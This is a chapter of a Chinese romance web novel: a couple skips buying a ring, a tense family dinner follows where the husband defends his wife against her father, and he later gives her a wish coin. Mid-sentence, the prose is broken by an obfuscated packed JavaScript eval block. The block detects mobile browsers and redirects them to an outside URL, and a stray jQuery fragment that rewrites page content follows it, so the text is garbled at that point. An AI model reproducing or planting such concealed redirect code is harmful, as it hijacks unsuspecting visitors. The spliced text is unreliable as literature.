27. 硬币

作品:《较量

    戒指最终没买成,回家路上池泱沉默了一路,一面感谢自己的挑剔,一面又总觉得有点说不清楚的愧疚。


    专门和她来商场就为了挑婚戒,可最后却是白跑一趟,期待落空后贺言舟现在一定很郁闷吧……


    等等,郁闷?


    为什么会替他感到郁闷?


    池泱被自己这突如其来的共情吓一激灵,开始疯狂默念清心咒。


    心疼男人倒霉一辈子!他郁不郁闷关自己什么事!总不能为了照顾他的情绪就随便选一个不喜欢的戴吧?这又不是小孩子玩过家家。


    想通后池泱坦然了许多,下车的步子都变的轻盈起来,尽管还是走不太稳。


    贺言舟晚两步跟上,主动拿过她手上的包伸出胳膊:“脚好点了吗,搭着我走?”


    池泱拍走他胳膊,还想着离开商场前他那句话:“不搭变态胳膊。”


    贺言舟自知理亏,收回手悻悻蹭了下鼻尖,试图转移话题:“回家给咚咚添完饭直接去华庭?”


    池泱“嗯”了声,一想起要去这所谓的家宴情绪就又低了下来:“我爸让我们六点前到。”


    池贺两家交好,几乎每个月都会组一次这样的家宴,上个月两家人是来的他们家,算是新婚后的主动问候,往后的家宴就都得两人去华庭聚了。


    说是家宴,其实就是池奕一个人的戏台。两家人围坐一桌时一定少不了他单拎出来自己和贺言舟做比较,池泱已经对这套家宴流程相当熟悉了。


    先是假意嘘寒问暖一番,再和贺言舟讨论讨论公司近况,等到菜一上齐,就要开始对自己这个女儿明褒暗贬一番。


    次次如此,简直毫无新意。


    贺言舟看出池泱的排斥,主动开口:“池总,今晚需要我扮演什么角色吗?”


    池泱听到这突然正式的称呼怪异的瞥他:“贺总想扮演什么角色?”


    “那肯定是老板需要什么我演什么。”贺言舟笑笑,“或者需要我话多一点,好让伯父没机会开口?”


    池泱没忍住笑:“你想气死他吗?”


    “怎么会,我很尊重长辈的。”


    池泱:“不用你演,你就当好尊重长辈的好女婿就行了。”


    贺言舟向她确认:“真的吗?可我怕让伯父找到开口机会的话你会炸毛。”


    “……我有那么容易炸毛吗?”池泱白他一眼,想到了什么,给他打预防针,“不过这次回去我爸肯定又要说教,你当没听见就行。”


    其实只会对她进行说教而已,但不知道为什么,总觉得也得给贺言舟打好预防针,以防出现什么乱子。


    自己倒是习惯了,随便敷衍两句捱过这顿饭回家就行,但贺言舟……


    她扭头瞥了眼走自己旁边的人,心里总有种不好的预感。


    这人应该不会为了她引火上身吧?像以前一样一言不发只当个客人最好……可就怕他情绪上来替自己还嘴,那就麻烦了。


    池奕被晚辈薄了面子的话,那贺言舟以后都别想得到他的好脸色了。


    她不想让其他人因为自己牺牲什么。


    像是看出了她心里想的,贺言舟开口:“放心吧,我会很安静的吃饭,不让你为难的。”


    “……噢,你最好是这样。”池泱闷闷应下。


    也对,贺言舟怎么可能会替自己出头,自己最近是被他的喜欢给蒙了心吗,竟然会有这样的担忧。


    她很清楚他是什么样的人,只规矩走好自己的路,怎么可能为一点点微不足道的喜欢破例。


    是她多虑了。


    -


    车子停进华庭车库,贺言舟绕到副驾开门扶着池泱下车。从车库一路到池家门前,他都体贴无比,提了满手的礼品还能再空出只手来让她搭上自己胳膊。


    其实池泱脚踝已经好的差不多了,完全可以自己独立行走,只是贺言舟一直坚持要让自己扶他,美名其曰营造好恩爱夫妻人设。


    池泱对此虽想拒绝,却也无话可说,只能在他的坚持下扶着他的胳膊走向自家门口。


    许晴早已等在门口,见两人手挽手走近立马笑眯眯迎上前去:“终于回来了!快进来,今天做的都是你爱吃的。”


    池泱心里一暖:“等门口干什么,我们回来就自己进去了。”


    “这不是想着第一眼就能看到我们家泱泱吗?”许晴从贺言舟手上接过池泱,拧起眉,“脚怎么了?刚就看你走路不利索。”


    “没事……就是不小心扭了下,都快好了。”池泱蹭着许晴撒娇,“阿姨今天是不是做糖醋小排了?我都闻到味了。”


    “就你鼻子灵,坐着喝点热水,再等一会就开饭了。”


    池奕正坐在茶几前沏茶,见两人进来抬了下眼,罕见的没说什么,只招呼着让他们过去。


    贺言舟将带来的礼品放好,笑着跟几位长辈打了声招呼,扶着池泱坐到另一边沙发上。


    客厅里目前还是一副其乐融融的样子,池泱小口喝着茶,默默听着池奕和贺言舟讨论公司的事,无聊的在心里数羊。


    这份表面平静维持不了多久就会被打破,她不给眼神不主动搭话,只有旁边两位母亲开口,才笑着应两声,尽量减少自己在池奕那的存在感。


    最后一道菜被阿姨端上桌,池泱深吸口气,跟着许晴走到餐桌坐下,静等池奕饭桌上惯例的教训。


    她小口咬下排骨一角,还没等咀嚼,池奕就已经开口:“小然那件事,你处理的不太妥当。”


    果然。


    池泱放下筷子抬眼:“我不觉得我的处理方式有问题,做错事就应该负责任,他差点搞砸我的合作,我只是让他按照合同进行部分赔偿,有问题吗?”


    “但他是你表弟!”池奕音量抬高,“都是一家人,闹成这样你让我怎么和他们交代?!又让我的面子往哪搁!”


    又是这该死的面子,池泱嗤笑:“爸,他更是一个有自主行为能力的成年人,难道不该为自己的错误买单吗?”


    “如果每个员工都像他这样,那我工作室还开不开了?”她深吸口气,“至于您的面子,并不在我工作的考虑范围内。”


    “你要造反吗!”


    池泱瞥向池奕摔在桌子上的筷子,正想继续开口,桌子下的手就被旁边坐着的人轻轻拍了拍。


    “爸,”贺言舟夹了块鱼肉放进池奕碗里,“您先消消气。”


    他安抚的看了眼池泱,继续对池奕说:“泱泱处理问题的方式可能是有点直接,但确实没做错什么。“


    ——“各行各业,都得跟规矩走,对吧?”


    池奕哼了声,眯起眼看他:“言舟,这是我们家里的事,你不用替她说话。”


    “从和泱泱领证那天起,”他始终保持着得体的微笑,语气肯定,“我们就已经是家人了。”


    “如果连我都不替她说话,那还有谁能替她说话?”


    空气骤然凝固。


    池泱暂时丧失了语言能力,又被迫进入到脑雾状态里,只能呆愣的看着这一切发生,连诧异都出现的后知后觉。


    她以为贺言舟真的会和以前每一次的家宴一样,只安静的做个无关紧要的客人。可他没有,甚至为了维护自己,和池奕当众对峙。


    桌下垂在身侧的手突然被另一只强有力的手握住捏了两下,她迟钝的偏过脑袋,对上旁边男人递来的安抚视线。


    池泱胸口一阵闷痛,一路往上聚到眼眶里,她微微张口进行呼吸,试图压下这股突如其来的躯体反应,可大脑的嗡鸣声却始终难以平息。


    她知道自己又发病了,此时的状态一定奇差无比,让贺言舟发现一定会嘲笑她三天三夜,可现在她却全都无暇顾及,只想尽快结束这让人窒息的宴会。


    “爸。”池泱深吸口气,强硬的挣脱开自己被握住的手,“我有能自己做决定的权利,也有能为自己兜底的能力。”


    她抬眼看向自己父亲,一字一句,铿锵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902218|192158||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有力:“我早就拥有能将一切事都做到最好的能力了,只是您从不相信而已。”


    “……爸,认可我其实并没那么差劲,对您来说很难吗。”


    她做的任何决定,总能被池奕找到不同的理由来证明这个决定的错误,她做的一切,不论对与否,在他那里永远只有一句“不太妥当”,她不明白,到底要怎么做,才能做到他眼里的“妥当”。


    餐桌上一片沉默,谁也没有先开口,池泱彻底脱了力,疲惫的起身想离开这让她窒息的环境。


    这是她第一次正面将池奕的问题摊开,也许并不会得到回应,但她已经不再在意了。


    院子里也一片安静,池泱绕到后院找到以前安装的摇椅,随手拍了拍落灰就不怎么在意的坐了上去。懒得用力,就安静窝进不摇晃的摇椅里合眼休息。


    过往回忆争先恐后的往脑海里闯,打的她措手不及。池奕的严苛从她小时候一直贯彻到现在,那些否定和比较的话直到她后来搬出去,也依旧时常盘旋在脑海里。


    她并不认可那些说她不对的话,只是在无数个前进的路上也难免会对自己产生怀疑。


    想让自己不在意,可她无法否认,那些否定或多或少都对自己产生了影响,让她没办法做到完全肯定。


    她太执着于得到一份完全的认可,哪怕是自己对自己。


    江宜的天逐渐越来越冷,池泱任由裸露在外的手指被冻的僵硬,也没有想从这里离开的想法。


    头脑一片昏沉,就在她快要睡过去时,摇椅突然晃动起来。


    “池小姐,需要再荡高点吗?”身后传来声音,“还是想进入安睡模式?”


    池泱缓缓睁眼,抬头和上方人影对视:“……你怎么出来了?”


    贺言舟轻轻晃着摇椅,从口袋取出暖手宝塞进她手里:“来给我们池总送温暖啊。”


    池泱捏了捏暖乎乎的暖手宝,低低道了声谢。


    贺言舟绕到她面前蹲下,将两只手握拳摆在她面前:“猜猜哪只手里有东西。”


    “……你幼不幼稚。”池泱吸了吸鼻子,随口猜了一个,“左手。”


    贺言舟神秘的笑笑,将手慢慢展开在她眼前:“这么聪明,一猜就中。”


    “我要这个干什么?”池泱拿走他手心躺着的那枚一元硬币,“去小卖部买糖?”


    “……这是许愿币。”贺言舟起身坐在她旁边,语气一如既往的欠揍,“池泱,你还真是一点浪漫细胞都没有。”


    池泱假意惊呼:“哇,言舟哥哥你好浪漫,有了它是可以随便许愿吗?都会实现吗?”


    “要不要这么假啊?”


    “你不喜欢的话我还有其他版本。”


    “……别了,这个就行了。”贺言舟清咳一声,“可以用它随便许愿,你有什么愿望吗?”


    “什么都行吗?”


    “什么都行。”


    池泱转着手里的硬币,想了想,回答:“那你给我织条围巾吧。”


    “没别的了?”贺言舟意外挑眉,“这么简单,会不会太便宜我了。”


    池泱古怪的笑了声:“话别说太早,我有要求的。”


    贺言舟警惕道:“什么要求?”


    “上面要有立体的小狗图案,还得把咚咚也一起织上去。”她眉梢微扬,“怎么样贺总,你手残党能学会吗?”


    “……”他确实对手工制品一窍不通,更别说需要在围巾上织出立体图案了。


    贺言舟沉默两秒,认真开口:“可以,你等着验收吧。”


    他确实不会,但如果她想要的话,那自己总能学会。


    池泱有点意外他会答应:“你认真的啊?我开玩笑的,不用学。”


    “不行,说出口了就不许反悔。”贺言舟已经在购物软件搜索钩织工具了,“我可当真了。”


    他一一加购,得意的将下单界面显示在她面前:“池泱,你的每一句话,我都会当真的。”